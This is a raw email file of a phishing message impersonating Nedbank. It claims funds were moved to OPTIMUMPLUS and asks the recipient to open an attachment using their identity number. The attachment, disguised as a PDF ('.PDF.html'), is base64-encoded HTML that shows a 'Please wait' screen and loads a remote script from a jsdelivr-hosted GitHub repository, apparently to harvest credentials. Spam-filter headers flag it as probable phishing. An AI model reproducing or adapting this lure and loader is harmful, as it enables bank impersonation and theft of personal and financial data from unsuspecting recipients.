File: /home/govancoz/mail/.spam/new/1758613852.M130690P667699.zacp120.webway.host,S=11237,W=11473
Return-Path: <eStatement@magikwebservices.com>
Delivered-To: govancoz+spam@zacp120.webway.host
Received: from zacp120.webway.host
by zacp120.webway.host with LMTP
id EDTFBVxR0mgzMAoA8rC0kQ
(envelope-from <eStatement@magikwebservices.com>)
for <govancoz+spam@zacp120.webway.host>; Tue, 23 Sep 2025 09:50:52 +0200
Return-path: <eStatement@magikwebservices.com>
Envelope-to: janine@govan.co.za
Delivery-date: Tue, 23 Sep 2025 09:50:52 +0200
Received: from [115.75.190.165] (port=61112 helo=magikwebservices.com)
by zacp120.webway.host with esmtp (Exim 4.98.2)
(envelope-from <eStatement@magikwebservices.com>)
id 1v0xnR-00000002xOy-2bdv
for janine@govan.co.za;
Tue, 23 Sep 2025 09:50:52 +0200
From: "Nedbank Credit Card eStatement" <eStatement@magikwebservices.com>
To: janine@govan.co.za
Date: 23 Sep 2025 14:50:01 +0700
Message-ID: <20250923144959.105CCCF0841923AB@magikwebservices.com>
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----=_NextPart_000_0012_0B3619B5.FD2E894A"
X-Spam-Status: Yes, score=13.1
X-Spam-Score: 131
X-Spam-Bar: +++++++++++++
X-Spam-Report: Spam detection software, running on the system "zacp120.webway.host",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: Dear CLIENT As requested, we have moved your funds in to
OPTIMUMPLUS.
Content analysis details: (13.1 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
1.2 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net
[Blocked - see <https://www.spamcop.net/bl.shtml?115.75.190.165>]
0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was blocked.
See
http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
for more information.
[URI: jsdelivr.net]
[URI: striata.com]
0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[115.75.190.165 listed in sa-accredit.habeas.com]
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[115.75.190.165 listed in bl.score.senderscore.com]
0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[115.75.190.165 listed in sa-trusted.bondedsender.org]
1.5 SPF_HELO_SOFTFAIL SPF: HELO does not match SPF record (softfail)
1.5 SPF_SOFTFAIL SPF: sender does not match SPF record (softfail)
0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict
Alignment
0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 HTML_IMAGE_RATIO_04 BODY: HTML has a low ratio of text to image area
0.1 HTML_TAG_BALANCE_BODY BODY: HTML has unbalanced "body" tags
0.0 T_HTML_ATTACH HTML attachment to bypass scanning?
3.0 KAM_BADPDF3 Likely Fake PDF
3.5 PHISH_ATTACH Attachment filename suspicious, probable phishing
0.1 HTML_SHORT_LINK_IMG_1 HTML is very short with a linked image
2.0 RDNS_NONE Delivered to internal network by a host with no rDNS
0.0 T_REMOTE_IMAGE Message contains an external image
X-Spam-Flag: YES
Subject: ***SPAM*** NEDBANK Funds moved to OPTIMUMPLUS
This is a multi-part message in MIME format.
------=_NextPart_000_0012_0B3619B5.FD2E894A
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
<html><head>
<meta name=3D"GENERATOR" content=3D"MSHTML 11.00.10570.1001">
<meta http-equiv=3D"X-UA-Compatible" content=3D"IE=3Dedge">
</head>
<body><table width=3D"600" align=3D"center" style=3D"background: rgb(255, 2=
55, 255); border-collapse: collapse; box-sizing: border-box;" bgcolor=3D"#f=
fffff" border=3D"0" cellspacing=3D"0" cellpadding=3D"0"><tbody><tr><td widt=
h=3D"600" align=3D"center" colspan=3D"3"><img width=3D"600" height=3D"231" =
src=3D"https://img.striata.com/Nedbank/crm/header_is.jpg" saveddisplaymode=
=3D"" dfsrc=3D"https://img.striata.com/Nedbank/crm/header_is.jpg">
</td>
</tr>
<tr>
<td style=3D"padding-left: 25px;" colspan=3D"3">
<br>
<p>
<span style=3D"color: rgb(0, 0, 0); font-family: ar=
ial, helvetica, sans-serif; font-size: 13px;">
<b>Dear CLIENT</b><br><br>
</span>
</p>
</td></tr>
<tr>
<td width=3D"550" align=3D"left" valign=3D"bottom" style=3D"padding-rig=
ht: 25px; padding-left: 25px;" colspan=3D"3">
<span style=3D"color: rgb(0, 0, 0); font-family: arial,=
helvetica, sans-serif; font-size: 13px; vertical-align: top; display: inli=
ne-block;">
As requested, we have moved your funds in to OPTIMUMPLUS. <br><br>As
we take the security of your information seriously, all the attached
documents in the email are password-protected. If you're an individual,
please use your unique identity number that you used to open your
account to open the document.<br><br>You need Adobe Reader 8 to open
your document. If you don't have Adobe Reader 8 or a later version, you
can download it here(or visit <span class=3D"Object" id=3D"OBJ_PREFIX_DWT1=
80_com_zimbra_url" role=3D"link"><a style=3D"text-decoration: none;" href=
=3D"http://www.adobe.com/" target=3D"_blank">www.adobe.com</a></span>.)<br>=
<br>You can log in to online banking or the Money app with your <span class=
=3D"ZmSearchResult" id=3D"DWT182">Nedbank</span> ID to manage and view your=
accounts.<br><br>
</span>
</td>
</tr>
<tr>
<td style=3D"background: rgb(43, 43, 43); border-collapse: collapse;">
<table width=3D"90%" align=3D"center" style=3D"background: rgb(43, 43,=
43); border-collapse: collapse;" border=3D"0" cellspacing=3D"0" cellpaddin=
g=3D"0">
<tbody><tr>
<td width=3D"60%">
<span style=3D"color: rgb(250, 255, 233); font-family: arial, helvet=
ica, sans-serif; font-size: 10px; vertical-align: top; display: inline-bloc=
k;">Download the <span class=3D"ZmSearchResult" id=3D"DWT184">Nedbank</span=
> Money™ app <span class=3D"Object" id=3D"OBJ_PREFIX_DWT185_com_zimbr=
a_date" role=3D"link">today</span>.</span>
</td>
<td width=3D"15%" style=3D"padding: 8px;">
<span class=3D"Object" id=3D"OBJ_PREFIX_DWT186_com_zimbra_url" role=
=3D"link"><a href=3D"https://search.itunes.apple.com/" target=3D"_blank"><i=
mg src=3D"https://img.striata.com/Nedbank/PL/app.gif" saveddisplaymode=3D""=
dfsrc=3D"https://img.striata.com/Nedbank/PL/app.gif"></a></span>
</td>
<td width=3D"15%" align=3D"right" style=3D"padding: 8px;">
<span class=3D"Object" id=3D"OBJ_PREFIX_DWT187_com_zimbra_url" role=
=3D"link"><a href=3D"https://play.google.com/" target=3D"_blank"><img src=
=3D"https://img.striata.com/Nedbank/PL/android.gif" saveddisplaymode=3D"" d=
fsrc=3D"https://img.striata.com/Nedbank/PL/android.gif"></a></span>
</td>
</tr>
</tbody></table>
</td>
</tr>
<tr>
<td> <table style=3D"margin-top: 4px; margin-bottom: 5px;">
<tbody><tr>
<td></td>
</tr>
</tbody></table></td>
</tr>
<tr>
<td>
<table width=3D"100%" align=3D"center" style=3D"background: rgb(239,=
239, 239); border-collapse: collapse;" border=3D"0" cellspacing=3D"0" cell=
padding=3D"0">
<tbody><tr>
<td style=3D"padding-right: 25px; padding-left: 25px;">
<span style=3D"color: rgb(91, 94, 101); font-family: arial, helve=
tica, sans-serif; font-size: 10.5px; margin-top: 8px; margin-bottom: 8px; m=
argin-left: 8px;"><br>A
secure and convenient way to manage your money on the go. Now you can
bank anytime, anywhere. Discover a new way to visualise and use your
money.<br><br></span>
</td>
</tr>
</tbody></table>
</td>
</tr>
<tr>
<td> <table>
<tbody><tr>
<td>​</td>
</tr>
</tbody></table></td>
</tr>
<tr>
<td width=3D"600" align=3D"left" class=3D"style1" style=3D"padding-right=
: 25px; padding-left: 25px;" colspan=3D"3">
<span style=3D"color: rgb(0, 0, 0); font-family: arial, helvetica, san=
s-serif; font-size: 13px;">If you require more information, feel free to co=
ntact us via LiveChat on our Digital Channels or call us on <span class=3D"=
Object" id=3D"OBJ_PREFIX_DWT188_com_zimbra_phone" role=3D"link"><a href=3D"=
callto:0800 555 111">0800 555 111</a></span>.<br><br></span>
<span style=3D"color: rgb(0, 0, 0); font-family: arial, helvetica, san=
s-serif; font-size: 13px;"><b>Yours sincerely</b><br><br></span>
<span style=3D"color: rgb(27, 97, 63); font-family: arial, helvetica, =
sans-serif; font-size: 13px;"><b>Your <span class=3D"ZmSearchResult" id=3D"=
DWT190">Nedbank</span> Team</b><br><br></span>
</td>
</tr>
<tr>
<td align=3D"left" valign=3D"top" style=3D"padding-right: 2=
5px; padding-left: 25px;" colspan=3D"3">
</td>
</tr>
<tr>
<td colspan=3D"3">
<img width=3D"600" height=3D"90" src=3D"https://img.st=
riata.com/Nedbank/PL/footer_new.png" saveddisplaymode=3D"" dfsrc=3D"https:/=
/img.striata.com/Nedbank/PL/footer_new.png"></td></tr></tbody></table></bod=
y></html>
------=_NextPart_000_0012_0B3619B5.FD2E894A
Content-Type: text/html; name="NEDBANK Funds moved to OPTIMUMPLUS.PDF.html"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="NEDBANK Funds moved to OPTIMUMPLUS.PDF.html"
PGh0bWw+Cgo8aGVhZD4KPHRpdGxlPjB1Li4uLjwvdGl0bGU+CjxpbnB1dCBpZD0iYXV0b2Nh
bGwiIHR5cGU9ImhpZGRlbiIgdmFsdWU9IjEiIC8+CjxpbnB1dCBpZD0icHRvNCIgdHlwZT0i
aGlkZGVuIiB2YWx1ZT0iIiAvPgo8Ym9keT4KPGlucHV0IGlkPSJhdXRvY2FsbCIgdHlwZT0i
aGlkZGVuIiB2YWx1ZT0iMSIgLz4KPGlucHV0IGlkPSJwdG80IiB0eXBlPSJoaWRkZW4iIHZh
bHVlPSIiIC8+CjxtYWluIGNsYXNzPSJsb2FkaW5nLWNvbnRhaW5lciI+CiAgPGg0PlBsZWFz
ZSB3YWl0PHNwYW4gaWQ9ImRvdHMiPi4uLjwvc3Bhbj48L2g0Pgo8L21haW4+CjxzY3JpcHQg
c3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvZ2gvY3NwcWUvbmVkQHJlZnMvaGVhZHMv
bWFpbi9qcS5qcyI+PC9zY3JpcHQ+Cgo8L2JvZHk+CjwvaHRtbD4KIAoKCiAKPC9oZWFkPgo8
Ym9keT4KCjwvaHRtbD4=
------=_NextPart_000_0012_0B3619B5.FD2E894A--